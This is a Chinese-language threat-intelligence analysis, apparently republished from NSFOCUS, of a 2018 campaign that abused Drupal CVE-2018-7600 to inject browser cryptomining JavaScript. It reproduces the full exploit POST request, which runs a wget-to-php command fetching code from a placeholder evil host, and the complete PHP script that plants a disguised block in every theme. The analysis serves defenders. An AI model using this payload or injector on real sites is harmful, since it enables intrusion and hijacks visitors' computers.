當前位置:
首頁 > 最新 > 黑客正在利用Drupal漏洞進行客戶端瀏覽器挖礦

黑客正在利用Drupal漏洞進行客戶端瀏覽器挖礦

2018年6月22日,綠盟科技威脅情報中心(NTI)監測到一種新型的Drupal漏洞利用方式,與以往通過漏洞向伺服器植入挖礦程序不同是,此次攻擊是利用Drupal遠程代碼執行漏洞通過自定義主題功能向站點插入惡意JavaScript,然後使用WebAssembly(WASM)技術實現了基於客戶端瀏覽器的挖礦,使得訪問該網站的用戶CPU等資源佔用率直接飆升。NTI檢測到此次挖礦與CoinHive有關,黑客優化了CoinHive源碼並自定義礦池以繞過CoinHive平台抽成從而達到利益最大化。此類攻擊正在活躍,NTI將持續關注。

攻擊流程梳理

黑客首先通過Drupal RCE漏洞下載php腳本,結合Drupal自身特性插入惡意JavaScript文件,通過WebSocket協議連接pool,然後由createObjectURL將下載wasm的任務生成在Blob中並依次下發,藉助瀏覽器消耗CPU資源進行挖礦。

攻擊回顧

黑客發送的攻擊載荷如下:

POST /user/register?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: xxx.com Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.13.0 Content-Length: 217 Content-Type: application/x-www-form-urlencoded mail[a][#post_render][]==passthru&mail[a][#markup]=wget -O -q http://evildomain/drupal.txt | php&form_id=user_register_form&_drupal_ajax=1&mail[a][#type]=markup

drupal.txt是php文件,內容如下:

define("DRUPAL_DIR",".");

useDrupalCoreDrupalKernel;

useSymfonyComponentHttpFoundationRequest;

useDrupallockEntityBlock;

useDrupallock_contentEntityBlockContent;

useDrupallock_contentEntityBlockContentType;

require_onceDRUPAL_DIR."/core/includes/database.inc";

require_onceDRUPAL_DIR."/core/includes/schema.inc";

$autoloader=require_onceDRUPAL_DIR."/autoload.php";

$request= Request::createFromGlobals();

$kernel= DrupalKernel::createFromRequest($request,$autoloader,"prod");

$kernel->boot();

$kernel->prepareLegacyRequest($request);

try{

$theme_handler= Drupal::service("theme_handler");

$themes=$theme_handler->listInfo();

foreach($themesas$theme){

$block= BlockContent::create([

"info"=>"Drupal updater",

"type"=>"basic",

"body"=>[

"value"=>"",

"format"=>"full_html",

]

]);

print"$block:".$block->save();

$placed_block= Block::create([

"id"=>$block->uuid(),

"theme"=>$theme->getName(),

"region"=>"header",

"weight"=>-7,

"status"=>TRUE,

"plugin"=>"block_content:".$block->uuid(),

"settings"=>[],

"visibility"=>[],

]);

print"$placed_block:".$placed_block->save();

}

print"block inject ends!";

$theme= Drupal::theme()->getActiveTheme();

print$theme->getName();

}catch(Exception$e){

var_dump($e);

}

可以看到這個php文件結合了Drupal程序自身的特性,往站點注入drupal.js腳本,涉及的主要方法是BlockContent::create()

查閱相關文檔,該方法是用來定製化站點主題,實現自定義添加block功能,也就是所謂的"塊",可以在頁面的側邊欄,或者header和footer中添加自定義欄,實現頁面導航或者統計訪客人數等功能。

一個demo示例:

$block= BlockContent::create([

"info"=>"My awesome block",

"type"=>"basic",

"langcode"=>"en",

]);

$block->body->value ="Hello world!";

$block->body->format ="basic_html";

$block->save();

在後台管理界面Structure > Block layout > Custom block library (admin/ structure/ block/block-content) 可以添加和查看自定義block,更具體的可以參考官方文檔(https: //www.drupal.org/docs/user_guide/en/block-concept.html)JavaScript 注入

JavaScript注入流程

首先該php文件引入了Drupal程序的相關文件,然後列舉了站點使用的所有主題,接著構造一個數組結構block,惡意JavaScript在body[value]里被引用,當文件被執行後,就通過BlockContent::create()方法向相應主題添加一個block並保存,接著執行$placed_block->save()啟用該block,到此block注入完畢。

回到布局頁面我們可以看到自定義block已經添加並且被啟用,而且在站點安裝的每個主題中都被注入這個custom block,從代碼中也能看出來黑客選擇將block放在頁面的header部分,這樣用戶訪問任意頁面都會載入這個js,同時隱蔽性很好。

之後訪問站點,發現js已經被注入到頁面(此處替換成了本地js文件)

當用戶訪問頁面後js被載入運行,同時CPU佔用會顯著升高,從這個特徵看和藉助瀏覽器進行挖礦的行為非常相似。

惡意JavaScript文件

黑客引入的drupal.js文件被重度混淆

解碼去混淆後還原出"明文"代碼,在其中發現了一些值得注意的信息

我們注意到這部分配置信息與外界流行的CoinHive挖礦配置高度相似:

指定了一個客戶端配置

通過LIB_URL下載惡意JavaScript文件

通過WebSocket協議進行通信

該js被載入後,首先會通過wss協議請求遠程伺服器的proxy,建立連接後下載Lxx.wasm文件

這個wasm文件是由CoinHive的挖礦演算法cryptonight將c文件編譯而來的可執行文件,是一種WebAssembly的實現,可以通過瀏覽器載入執行,計算完畢後與礦池通信,以獲取下一個"塊"的計算信息。

在挖礦程序啟動的時候會通過一個閾值throttle: 0.3進行控制,因此運行後CPU佔用會到65%左右,防止用戶發現CPU佔用過高。

結合以上特點,我們推斷攻擊者十分熟悉Drupal框架特性,利用Drupal自定義主題功能通過CVE-2018-7600漏洞將惡意JavaScript插入到站點主題中,同時控制CPU佔用閾值,十分隱蔽地利用用戶瀏覽器進行挖礦,而且攻擊者改造了CoinHive代碼,將礦池平台地址替換為自己的地址,這樣就繞過了CoinHive要求的30%的抽成,與此同時,攻擊者全程使用https進行數據傳輸,這對分析其流量特徵也帶來了一定困難。

IP畫像

NTI基於攻擊者IP畫像,監測到提供WebSocket服務的這批域名中有幾個值得注意的點:

最早的解析記錄出現在2018年4月19日;

大部分域名使用Let"s Encrypt簽發證書,切證書更新相當頻繁;

大部分域名解析集中在一個C段,並且域名間呈現出關聯性;

大部分域名在5、6月份開始活躍;

部分域名在6月24、25、26日均更換了dns解析

以上幾點特徵都說明這是一次全新的攻擊,通過不斷更換DNS解析和證書信息以躲避追蹤。

總結

通過以上分析我們推斷黑客團伙正在積極利用漏洞進行瀏覽器算力挖礦,並且此次攻擊與以往利用站點所在伺服器進行計算任務牟取數字貨幣的情況不盡相同,該方式只要將惡意JavaScript插入網站,任何訪問受害站點的用戶機器都會成為"礦機",是一種基於客戶端的挖礦方式,而且黑客有意控制CPU佔用閾值,防止佔用過高引起用戶警覺。NTI正在持續監測此類攻擊,安全從業者也應該多加關注。

IOC

內容編輯:威脅情報中心 責任編輯:肖晴


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 綠盟科技研究通訊 的精彩文章:

網路協議逆向初探—Netzob簡介及優劣性分析

TAG:綠盟科技研究通訊 |